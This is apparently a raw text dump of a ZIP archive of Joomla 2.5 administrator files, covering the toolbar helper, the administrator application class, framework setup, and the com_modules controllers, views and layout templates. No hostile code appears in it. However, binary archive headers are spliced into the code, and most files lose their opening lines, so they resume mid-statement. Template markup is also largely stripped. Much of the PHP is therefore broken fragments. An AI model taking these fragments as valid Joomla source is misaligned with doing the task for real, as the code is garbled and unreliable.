'; $app = JFactory::getApplication(); $app->JComponentTitle = $html; $doc = JFactory::getDocument(); $doc->setTitle($app->getCfg('sitename'). ' - ' .JText::_('JADMINISTRATION').' - '.$title); } /** * Writes a spacer cell. * * @param string $width The width for the cell * @since 1.0 */ public static function spacer($width = '') { $bar = JToolBar::getInstance('toolbar'); // Add a spacer. $bar->appendButton('Separator', 'spacer', $width); } /** * Writes a divider between menu buttons * * @since 1.0 */ public static function divider() { $bar = JToolBar::getInstance('toolbar'); // Add a divider. $bar->appendButton('Separator', 'divider'); } /** * Writes a custom option and task button for the button bar. * * @param string $task The task to perform (picked up by the switch($task) blocks. * @param string $icon The image to display. * @param string $iconOver The image to display when moused over. * @param string $alt The alt text for the icon image. * @param bool $listSelect True if required to check that a standard list item is checked. * @since 1.0 */ public static function custom($task = '', $icon = '', $iconOver = '', $alt = '', $listSelect = true) { $bar = JToolBar::getInstance('toolbar'); // Strip extension. $icon = preg_replace('#\.[^.]*$#', '', $icon); // Add a standard button. $bar->appendButton('Standard', $icon, $alt, $task, $listSelect); } /** * Writes a custom option and task button for the button bar. * * @param string $task The task to perform (picked up by the switch($task) blocks. * @param string $icon The image to display. * @param string $iconOver The image to display when moused over. * @param string $alt The alt text for the icon image. * @param bool $listSelect True if required to check that a standard list item is checked. * @since 1.0 * @deprecated */ public static function customX($task = '', $icon = '', $iconOver = '', $alt = '', $listSelect = true) { self::custom($task, $icon, $iconOver, $alt, $listSelect); } /** * Writes a preview button for a given option (opens a popup window). * * @param string $url The name of the popup file (excluding the file extension) * @param bool $updateEditors * @since 1.0 */ public static function preview($url = '', $updateEditors = false) { $bar = JToolBar::getInstance('toolbar'); // Add a preview button. $bar->appendButton('Popup', 'preview', 'Preview', $url.'&task=preview'); } /** * Writes a preview button for a given option (opens a popup window). * * @param string $ref The name of the popup file (excluding the file extension for an xml file). * @param bool $com Use the help file in the component directory. * @param string $override Use this URL instead of any other * @param string $component Name of component to get Help (null for current component) * @since 1.0 */ public static function help($ref, $com = false, $override = null, $component = null) { $bar = JToolBar::getInstance('toolbar'); // Add a help button. $bar->appendButton('Help', $ref, $com, $override, $component); } /** * Writes a cancel button that will go back to the previous page without doing * any other operation. * * @param string $alt Alternative text. * @param string $href URL of the href attribute. * @since 1.0 */ public static function back($alt = 'JTOOLBAR_BACK', $href = 'javascript:history.back();') { $bar = JToolBar::getInstance('toolbar'); // Add a back button. $bar->appendButton('Link', 'back', $alt, $href); } /** * Writes a media_manager button. * * @param string $directory The sub-drectory to upload the media to. * @param string $alt An override for the alt text. * @since 1.0 */ public static function media_manager($directory = '', $alt = 'JTOOLBAR_UPLOAD') { $bar = JToolBar::getInstance('toolbar'); // Add an upload button. $bar->appendButton('Popup', 'upload', $alt, 'index.php?option=com_media&tmpl=component&task=popupUpload&folder='.$directory, 800, 520); } /** * Writes a common 'default' button for a record. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function makeDefault($task = 'default', $alt = 'JTOOLBAR_DEFAULT') { $bar = JToolBar::getInstance('toolbar'); // Add a default button. $bar->appendButton('Standard', 'default', $alt, $task, true); } /** * Writes a common 'assign' button for a record. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function assign($task = 'assign', $alt = 'JTOOLBAR_ASSIGN') { $bar = JToolBar::getInstance('toolbar'); // Add an assign button. $bar->appendButton('Standard', 'assign', $alt, $task, true); } /** * Writes the common 'new' icon for the button bar. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @param boolean $check True if required to check that a standard list item is checked. * @since 1.0 */ public static function addNew($task = 'add', $alt = 'JTOOLBAR_NEW', $check = false) { $bar = JToolBar::getInstance('toolbar'); // Add a new button. $bar->appendButton('Standard', 'new', $alt, $task, $check); } /** * Writes the common 'new' icon for the button bar. * Extended version of addNew() calling hideMainMenu() before Joomla.submitbutton(). * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 * @deprecated */ public static function addNewX($task = 'add', $alt = 'JTOOLBAR_NEW') { self::addNew($task, $alt); } /** * Writes a common 'publish' button. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @param boolean $check True if required to check that a standard list item is checked. * @since 1.0 */ public static function publish($task = 'publish', $alt = 'JTOOLBAR_PUBLISH', $check = false) { $bar = JToolBar::getInstance('toolbar'); // Add a publish button. $bar->appendButton('Standard', 'publish', $alt, $task, $check); } /** * Writes a common 'publish' button for a list of records. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function publishList($task = 'publish', $alt = 'JTOOLBAR_PUBLISH') { $bar = JToolBar::getInstance('toolbar'); // Add a publish button (list). $bar->appendButton('Standard', 'publish', $alt, $task, true); } /** * Writes a common 'unpublish' button. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @param boolean $check True if required to check that a standard list item is checked. * @since 1.0 */ public static function unpublish($task = 'unpublish', $alt = 'JTOOLBAR_UNPUBLISH', $check = false) { $bar = JToolBar::getInstance('toolbar'); // Add an unpublish button $bar->appendButton('Standard', 'unpublish', $alt, $task, $check); } /** * Writes a common 'unpublish' button for a list of records. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function unpublishList($task = 'unpublish', $alt = 'JTOOLBAR_UNPUBLISH') { $bar = JToolBar::getInstance('toolbar'); // Add an unpublish button (list). $bar->appendButton('Standard', 'unpublish', $alt, $task, true); } /** * Writes a common 'archive' button for a list of records. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function archiveList($task = 'archive', $alt = 'JTOOLBAR_ARCHIVE') { $bar = JToolBar::getInstance('toolbar'); // Add an archive button. $bar->appendButton('Standard', 'archive', $alt, $task, true); } /** * Writes an unarchive button for a list of records. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function unarchiveList($task = 'unarchive', $alt = 'JTOOLBAR_UNARCHIVE') { $bar = JToolBar::getInstance('toolbar'); // Add an unarchive button (list). $bar->appendButton('Standard', 'unarchive', $alt, $task, true); } /** * Writes a common 'edit' button for a list of records. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function editList($task = 'edit', $alt = 'JTOOLBAR_EDIT') { $bar = JToolBar::getInstance('toolbar'); // Add an edit button. $bar->appendButton('Standard', 'edit', $alt, $task, true); } /** * Writes a common 'edit' button for a list of records. * Extended version of editList() calling hideMainMenu() before Joomla.submitbutton(). * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 * @deprecated */ public static function editListX($task = 'edit', $alt = 'JTOOLBAR_EDIT') { self::editList($task, $alt); } /** * Writes a common 'edit' button for a template html. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function editHtml($task = 'edit_source', $alt = 'JTOOLBAR_EDIT_HTML') { $bar = JToolBar::getInstance('toolbar'); // Add an edit html button. $bar->appendButton('Standard', 'edithtml', $alt, $task, true); } /** * Writes a common 'edit' button for a template html. * Extended version of editHtml() calling hideMainMenu() before Joomla.submitbutton(). * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 * @deprecated */ public static function editHtmlX($task = 'edit_source', $alt = 'JTOOLBAR_EDIT_HTML') { self::editHtml($task, $alt); } /** * Writes a common 'edit' button for a template css. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function editCss($task = 'edit_css', $alt = 'JTOOLBAR_EDIT_CSS') { $bar = JToolBar::getInstance('toolbar'); // Add an edit css button (hide). $bar->appendButton('Standard', 'editcss', $alt, $task, true); } /** * Writes a common 'edit' button for a template css. * Extended version of editCss() calling hideMainMenu() before Joomla.submitbutton(). * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 * @deprecated */ public static function editCssX($task = 'edit_css', $alt = 'JTOOLBAR_EDIT_CSS') { self::editCss($task, $alt); } /** * Writes a common 'delete' button for a list of records. * * @param string $msg Postscript for the 'are you sure' message. * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function deleteList($msg = '', $task = 'remove', $alt = 'JTOOLBAR_DELETE') { $bar = JToolBar::getInstance('toolbar'); // Add a delete button. if ($msg) { $bar->appendButton('Confirm', $msg, 'delete', $alt, $task, true); } else { $bar->appendButton('Standard', 'delete', $alt, $task, true); } } /** * Writes a common 'delete' button for a list of records. * Extended version of deleteList() calling hideMainMenu() before Joomla.submitbutton(). * * @param string $msg Postscript for the 'are you sure' message. * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 * @deprecated */ public static function deleteListX($msg = '', $task = 'remove', $alt = 'JTOOLBAR_DELETE') { self::deleteList($msg, $task, $alt); } /** * Write a trash button that will move items to Trash Manager. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @param bool $check * @since 1.0 */ public static function trash($task = 'remove', $alt = 'JTOOLBAR_TRASH', $check = true) { $bar = JToolBar::getInstance('toolbar'); // Add a trash button. $bar->appendButton('Standard', 'trash', $alt, $task, $check, false); } /** * Writes a save button for a given option. * Apply operation leads to a save action only (does not leave edit mode). * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function apply($task = 'apply', $alt = 'JTOOLBAR_APPLY') { $bar = JToolBar::getInstance('toolbar'); // Add an apply button $bar->appendButton('Standard', 'apply', $alt, $task, false); } /** * Writes a save button for a given option. * Save operation leads to a save and then close action. * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function save($task = 'save', $alt = 'JTOOLBAR_SAVE') { $bar = JToolBar::getInstance('toolbar'); // Add a save button. $bar->appendButton('Standard', 'save', $alt, $task, false); } /** * Writes a save and create new button for a given option. * Save and create operation leads to a save and then add action. * * @param string $task * @param string $alt * @since 1.6 */ public static function save2new($task = 'save2new', $alt = 'JTOOLBAR_SAVE_AND_NEW') { $bar = JToolBar::getInstance('toolbar'); // Add a save and create new button. $bar->appendButton('Standard', 'save-new', $alt, $task, false); } /** * Writes a save as copy button for a given option. * Save as copy operation leads to a save after clearing the key, * then returns user to edit mode with new key. * * @param string $task * @param string $alt * @since 1.6 */ public static function save2copy($task = 'save2copy', $alt = 'JTOOLBAR_SAVE_AS_COPY') { $bar = JToolBar::getInstance('toolbar'); // Add a save and create new button. $bar->appendButton('Standard', 'save-copy', $alt, $task, false); } /** * Writes a checkin button for a given option. * * @param string $task * @param string $alt * @param boolean $check True if required to check that a standard list item is checked. * @since 1.7 */ public static function checkin($task = 'checkin', $alt = 'JTOOLBAR_CHECKIN', $check = true) { $bar = JToolBar::getInstance('toolbar'); // Add a save and create new button. $bar->appendButton('Standard', 'checkin', $alt, $task, $check); } /** * Writes a cancel button and invokes a cancel operation (eg a checkin). * * @param string $task An override for the task. * @param string $alt An override for the alt text. * @since 1.0 */ public static function cancel($task = 'cancel', $alt = 'JTOOLBAR_CANCEL') { $bar = JToolBar::getInstance('toolbar'); // Add a cancel button. $bar->appendButton('Standard', 'cancel', $alt, $task, false); } /** * Writes a configuration button and invokes a cancel operation (eg a checkin). * * @param string $component The name of the component, eg, com_content. * @param int $height The height of the popup. * @param int $width The width of the popup. * @param string $alt The name of the button. * @param string $path An alternative path for the configuation xml relative to JPATH_SITE. * @since 1.0 */ public static function preferences($component, $height = '550', $width = '875', $alt = 'JToolbar_Options', $path = '', $onClose = '') { $component = urlencode($component); $path = urlencode($path); $top = 0; $left = 0; $bar = JToolBar::getInstance('toolbar'); // Add a configuration button. $bar->appendButton('Popup', 'options', $alt, 'index.php?option=com_config&view=component&component='.$component.'&path='.$path.'&tmpl=component', $width, $height, $top, $left, $onClose); } } /** * Utility class for the submenu. * * @package Joomla.Administrator */ abstract class JSubMenuHelper { /** * Method to add a menu item to submenu. * * @param string $name Name of the menu item. * @param string $link URL of the menu item. * @param bool True if the item is active, false otherwise. */ public static function addEntry($name, $link = '', $active = false) { $menu = JToolBar::getInstance('submenu'); $menu->appendButton($name, $link, $active); } } PK@y>\"ppincludes/helper.phpnuW+Aget('guest')) || !$user->authorise('core.login.admin')) { $option = 'com_login'; } if (empty($option)) { $option = 'com_cpanel'; } JRequest::setVar('option', $option); return $option; } } PK@y>\27!!includes/application.phpnuW+AgetName(), '', JURI::base(true))); } /** * Initialise the application. * * @param array $options An optional associative array of configuration settings. * * @return void * @since 1.5 */ public function initialise($options = array()) { $config = JFactory::getConfig(); // if a language was specified it has priority // otherwise use user or default language settings if (empty($options['language'])) { $user = JFactory::getUser(); $lang = $user->getParam('admin_language'); // Make sure that the user's language exists if ($lang && JLanguage::exists($lang)) { $options['language'] = $lang; } else { $params = JComponentHelper::getParams('com_languages'); $client = JApplicationHelper::getClientInfo($this->getClientId()); $options['language'] = $params->get($client->name, $config->get('language', 'en-GB')); } } // One last check to make sure we have something if (!JLanguage::exists($options['language'])) { $lang = $config->get('language', 'en-GB'); if (JLanguage::exists($lang)) { $options['language'] = $lang; } else { $options['language'] = 'en-GB'; // as a last ditch fail to english } } // Execute the parent initialise method. parent::initialise($options); // Load Library language $lang = JFactory::getLanguage(); $lang->load('lib_joomla', JPATH_ADMINISTRATOR, null, false, true); } /** * Route the application * * @return void * @since 1.5 */ public function route() { $uri = JURI::getInstance(); if ($this->getCfg('force_ssl') >= 1 && strtolower($uri->getScheme()) != 'https') { //forward to https $uri->setScheme('https'); $this->redirect((string)$uri); } // Trigger the onAfterRoute event. JPluginHelper::importPlugin('system'); $this->triggerEvent('onAfterRoute'); } /** * Return a reference to the JRouter object. * * @return JRouter * @since 1.5 */ static public function getRouter($name = null, array $options = array()) { $router = parent::getRouter('administrator'); return $router; } /** * Dispatch the application * * @param string $component The component to dispatch. * * @return void * @since 1.5 */ public function dispatch($component = null) { try { if ($component === null) { $component = JAdministratorHelper::findOption(); } $document = JFactory::getDocument(); $user = JFactory::getUser(); switch ($document->getType()) { case 'html': $document->setMetaData('keywords', $this->getCfg('MetaKeys')); break; default: break; } $document->setTitle($this->getCfg('sitename'). ' - ' .JText::_('JADMINISTRATION')); $document->setDescription($this->getCfg('MetaDesc')); $document->setGenerator('Joomla! - Open Source Content Management'); $contents = JComponentHelper::renderComponent($component); $document->setBuffer($contents, 'component'); // Trigger the onAfterDispatch event. JPluginHelper::importPlugin('system'); $this->triggerEvent('onAfterDispatch'); } // Mop up any uncaught exceptions. catch (Exception $e) { $code = $e->getCode(); JError::raiseError($code ? $code : 500, $e->getMessage()); } } /** * Display the application. * * @return void * @since 1.5 */ public function render() { $component = JRequest::getCmd('option', 'com_login'); $template = $this->getTemplate(true); $file = JRequest::getCmd('tmpl', 'index'); if ($component == 'com_login') { $file = 'login'; } // Safety check for when configuration.php root_user is in use. $config = JFactory::getConfig(); $rootUser = $config->get('root_user'); if (property_exists('JConfig', 'root_user') && (JFactory::getUser()->get('username') == $rootUser || JFactory::getUser()->id === (string) $rootUser)) { JError::raiseNotice(200, JText::sprintf('JWARNING_REMOVE_ROOT_USER', 'index.php?option=com_config&task=application.removeroot&'. JSession::getFormToken() .'=1')); } $params = array( 'template' => $template->template, 'file' => $file.'.php', 'directory' => JPATH_THEMES, 'params' => $template->params ); $document = JFactory::getDocument(); $document->parse($params); $this->triggerEvent('onBeforeRender'); $data = $document->render(false, $params); JResponse::setBody($data); $this->triggerEvent('onAfterRender'); } /** * Login authentication function * * @param array Array('username' => string, 'password' => string) * @param array Array('remember' => boolean) * * @return boolean True on success. * @see JApplication::login * @since 1.5 */ public function login($credentials, $options = array()) { //The minimum group $options['group'] = 'Public Backend'; //Make sure users are not autoregistered $options['autoregister'] = false; //Set the application login entry point if (!array_key_exists('entry_url', $options)) { $options['entry_url'] = JURI::base().'index.php?option=com_users&task=login'; } // Set the access control action to check. $options['action'] = 'core.login.admin'; $result = parent::login($credentials, $options); if (!($result instanceof Exception)) { $lang = JRequest::getCmd('lang'); $lang = preg_replace('/[^A-Z-]/i', '', $lang); $this->setUserState('application.lang', $lang ); JAdministrator::purgeMessages(); } return $result; } /** * Get the template * * @return string The template name * @since 1.0 */ public function getTemplate($params = false) { static $template; if (!isset($template)) { $admin_style = JFactory::getUser()->getParam('admin_style'); // Load the template name from the database $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('template, s.params'); $query->from('#__template_styles as s'); $query->leftJoin('#__extensions as e ON e.type='.$db->quote('template').' AND e.element=s.template AND e.client_id=s.client_id'); if ($admin_style) { $query->where('s.client_id = 1 AND id = '.(int)$admin_style. ' AND e.enabled = 1', 'OR'); } $query->where('s.client_id = 1 AND home = 1', 'OR'); $query->order('home'); $db->setQuery($query); $template = $db->loadObject(); $template->template = JFilterInput::getInstance()->clean($template->template, 'cmd'); $template->params = new JRegistry($template->params); if (!file_exists(JPATH_THEMES . '/' . $template->template . '/index.php')) { $template->params = new JRegistry(); $template->template = 'bluestork'; } } if ($params) { return $template; } return $template->template; } /** * Purge the jos_messages table of old messages * * @return void * @since 1.5 */ public static function purgeMessages() { $db = JFactory::getDbo(); $user = JFactory::getUser(); $userid = $user->get('id'); $query = 'SELECT *' . ' FROM #__messages_cfg' . ' WHERE user_id = ' . (int) $userid . ' AND cfg_name = ' . $db->quote('auto_purge') ; $db->setQuery($query); $config = $db->loadObject(); // check if auto_purge value set if (is_object($config) and $config->cfg_name == 'auto_purge') { $purge = $config->cfg_value; } else { // if no value set, default is 7 days $purge = 7; } // calculation of past date // if purge value is not 0, then allow purging of old messages if ($purge > 0) { // purge old messages at day set in message configuration $past = JFactory::getDate(time() - $purge * 86400); $pastStamp = $past->toSql(); $query = 'DELETE FROM #__messages' . ' WHERE date_time < ' . $db->Quote($pastStamp) . ' AND user_id_to = ' . (int) $userid ; $db->setQuery($query); $db->execute(); } } } PK@y>\Vincludes/index.htmlnuW+A PK@y>\includes/defines.phpnuW+A\)includes/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Uincludes/framework.phpnuW+Aerror_reporting) { case 'default': case '-1': break; case 'none': case '0': error_reporting(0); break; case 'simple': error_reporting(E_ERROR | E_WARNING | E_PARSE); ini_set('display_errors', 1); break; case 'maximum': error_reporting(E_ALL); ini_set('display_errors', 1); break; case 'development': error_reporting(-1); ini_set('display_errors', 1); break; default: error_reporting($config->error_reporting); ini_set('display_errors', 1); break; } define('JDEBUG', $config->debug); unset($config); /* * Joomla! framework loading. */ // System profiler. if (JDEBUG) { jimport('joomla.error.profiler'); $_PROFILER = JProfiler::getInstance('Application'); } // Joomla! library imports. jimport('joomla.application.menu'); jimport('joomla.environment.uri'); jimport('joomla.html.parameter'); jimport('joomla.utilities.utility'); jimport('joomla.event.dispatcher'); jimport('joomla.utilities.arrayhelper'); PK@y>\b3 index.phpnuW+Amark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('administrator'); // Initialise the application. $app->initialise(array( 'language' => $app->getUserState('application.lang') )); // Mark afterIntialise in the profiler. JDEBUG ? $_PROFILER->mark('afterInitialise') : null; // Route the application. $app->route(); // Mark afterRoute in the profiler. JDEBUG ? $_PROFILER->mark('afterRoute') : null; // Dispatch the application. $app->dispatch(); // Mark afterDispatch in the profiler. JDEBUG ? $_PROFILER->mark('afterDispatch') : null; // Render the application. $app->render(); // Mark afterRender in the profiler. JDEBUG ? $_PROFILER->mark('afterRender') : null; // Return the response. echo $app; PK@y>\d8Zbb!components/com_modules/config.xmlnuW+A
PK@y>\Q!components/com_modules/access.xmlnuW+A
PK@y>\@%components/com_modules/controller.phpnuW+AcheckEditId('com_modules.edit.module', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_modules&view=modules', false)); return false; } parent::display(); } } PK@y>\V!components/com_modules/index.htmlnuW+A PK@y>\ "components/com_modules/modules.xmlnuW+A com_modules Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_MODULES_XML_DESCRIPTION config.xml controller.php index.html modules.php controllers helpers models views language/en-GB.com_modules.ini PK@y>\)-components/com_modules/views/select/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V.components/com_modules/views/select/index.htmlnuW+A PK@y>\)2components/com_modules/views/select/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V3components/com_modules/views/select/tmpl/index.htmlnuW+A PK@y>\s4components/com_modules/views/select/tmpl/default.phpnuW+A
PK@y>\(''1components/com_modules/views/select/view.html.phpnuW+Aget('State'); $items = $this->get('Items'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->assignRef('state', $state); $this->assignRef('items', $items); parent::display($tpl); } } PK@y>\)5components/com_modules/views/positions/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V6components/com_modules/views/positions/tmpl/index.htmlnuW+A PK@y>\XeB''5components/com_modules/views/positions/tmpl/modal.phpnuW+Aescape($this->state->get('list.ordering')); $direction = $this->escape($this->state->get('list.direction')); $clientId = $this->state->get('filter.client_id'); $state = $this->state->get('filter.state'); $template = $this->state->get('filter.template'); $type = $this->state->get('filter.type'); ?>
items as $value=>$templates) : ?>
pagination->getListFooter(); ?>
escape($value); ?>
    $label):?>
  • hasKey($label) ? JText::sprintf('COM_MODULES_MODULE_TEMPLATE_POSITION', JText::_($template), JText::_($label)) : JText::_($template);?>
PK@y>\B<4components/com_modules/views/positions/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); } } PK@y>\)0components/com_modules/views/positions/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V1components/com_modules/views/positions/index.htmlnuW+A PK@y>\V'components/com_modules/views/index.htmlnuW+A PK@y>\)&components/com_modules/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)-components/com_modules/views/module/.htaccessnuW+A Order allow,deny Deny from all PK@y>\07ii<components/com_modules/views/module/tmpl/edit_assignment.phpnuW+A
PK@y>\NN1components/com_modules/views/module/tmpl/edit.phpnuW+Aitem->module) || $this->item->module == 'custom' || $this->item->module == 'mod_custom'; $script = "Joomla.submitbutton = function(task) { if (task == 'module.cancel' || document.formvalidator.isValid(document.id('module-form'))) {"; if ($hasContent) { $script .= $this->form->getField('content')->save(); } $script .= " Joomla.submitform(task, document.getElementById('module-form')); if (self != top) { window.top.setTimeout('window.parent.SqueezeBox.close()', 1000); } } else { alert('".$this->escape(JText::_('JGLOBAL_VALIDATION_FORM_FAILED'))."'); } }"; JFactory::getDocument()->addScriptDeclaration($script); ?>
  • form->getLabel('title'); ?> form->getInput('title'); ?>
  • form->getLabel('showtitle'); ?> form->getInput('showtitle'); ?>
  • form->getLabel('position'); ?> form->getInput('position'); ?>
  • item->xml->name != 'Login Form'): ?>
  • form->getLabel('published'); ?> form->getInput('published'); ?>
  • form->getLabel('access'); ?> form->getInput('access'); ?>
  • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
  • item->xml->name != 'Login Form'): ?>
  • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
  • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
  • form->getLabel('language'); ?> form->getInput('language'); ?>
  • form->getLabel('note'); ?> form->getInput('note'); ?>
  • item->id) : ?>
  • form->getLabel('id'); ?> form->getInput('id'); ?>
  • form->getLabel('module'); ?> form->getInput('module'); ?>
  • form->getLabel('client_id'); ?> form->getInput('client_id'); ?>
item->xml) : ?> item->xml->description)) : ?>

loadTemplate('options'); ?>
  • form->getLabel('content'); ?>
    form->getInput('content'); ?>
item->client_id == 0) :?>
loadTemplate('assignment'); ?>
PK@y>\H>css2components/com_modules/views/module/tmpl/modal.phpnuW+A
setLayout('edit'); echo $this->loadTemplate(); PK@y>\)2components/com_modules/views/module/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\笗9components/com_modules/views/module/tmpl/edit_options.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MODULES_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

'.$this->escape(JText::_($fieldSet->description)).'

'; endif; ?>
PK@y>\V3components/com_modules/views/module/tmpl/index.htmlnuW+A PK@y>\V.components/com_modules/views/module/index.htmlnuW+A PK@y>\HO O 1components/com_modules/views/module/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); $canDo = ModulesHelper::getActions($this->state->get('filter.category_id'), $this->item->id); $item = $this->get('Item'); JToolBarHelper::title( JText::sprintf('COM_MODULES_MANAGER_MODULE', JText::_($this->item->module)), 'module.png'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit') || $canDo->get('core.create') )) { JToolBarHelper::apply('module.apply'); JToolBarHelper::save('module.save'); } if (!$checkedOut && $canDo->get('core.create')) { JToolBarHelper::save2new('module.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('module.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('module.cancel'); } else { JToolBarHelper::cancel('module.cancel', 'JTOOLBAR_CLOSE'); } // Get the help information for the menu item. $lang = JFactory::getLanguage(); $help = $this->get('Help'); if ($lang->hasKey($help->url)) { $debug = $lang->setDebug(false); $url = JText::_($help->url); $lang->setDebug($debug); } else { $url = null; } JToolBarHelper::help($help->key, false, $url); } } PK@y>\ UU;components/com_modules/views/modules/tmpl/default_batch.phpnuW+Astate->get('filter.client_id'); $published = $this->state->get('filter.published'); ?>

= 0) : ?>
PK@y>\V4components/com_modules/views/modules/tmpl/index.htmlnuW+A PK@y>\;t$t$5components/com_modules/views/modules/tmpl/default.phpnuW+Astate->get('filter.client_id') ? 'administrator' : 'site'; $user = JFactory::getUser(); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_modules'); $saveOrder = $listOrder == 'ordering'; ?>
items as $i => $item) : $ordering = ($listOrder == 'ordering'); $canCreate = $user->authorise('core.create', 'com_modules'); $canEdit = $user->authorise('core.edit', 'com_modules'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id')|| $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_modules') && $canCheckin; ?>
items, 'filesave.png', 'modules.saveorder'); ?>
pagination->getListFooter(); ?>
id); ?> checked_out) : ?> editor, $item->checked_out_time, 'modules.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?> note)) : ?>

escape($item->note));?>

published, $i, $canChange, 'cb'); ?> position) : ?> position; ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->position == $item->position), 'modules.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->position == $item->position), 'modules.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, (@$this->items[$i-1]->position == $item->position), 'modules.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, (@$this->items[$i+1]->position == $item->position), 'modules.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> name;?> pages; ?> escape($item->access_level); ?> language==''):?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
authorize('core.create', 'com_modules') && $user->authorize('core.edit', 'com_modules') && $user->authorize('core.edit.state', 'com_modules')) : ?> loadTemplate('batch'); ?>
PK@y>\)3components/com_modules/views/modules/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\r<@c c 2components/com_modules/views/modules/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Check if there are no matching items if(!count($this->items)){ JFactory::getApplication()->enqueueMessage( JText::_('COM_MODULES_MSG_MANAGE_NO_MODULES') , 'warning' ); } $this->addToolbar(); // Include the component HTML helpers. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $state = $this->get('State'); $canDo = ModulesHelper::getActions(); JToolBarHelper::title(JText::_('COM_MODULES_MANAGER_MODULES'), 'module.png'); if ($canDo->get('core.create')) { //JToolBarHelper::addNew('module.add'); $bar = JToolBar::getInstance('toolbar'); $bar->appendButton('Popup', 'new', 'JTOOLBAR_NEW', 'index.php?option=com_modules&view=select&tmpl=component', 850, 400); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('module.edit'); } if ($canDo->get('core.create')) { JToolBarHelper::custom('modules.duplicate', 'copy.png', 'copy_f2.png', 'JTOOLBAR_DUPLICATE', true); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('modules.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('modules.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); 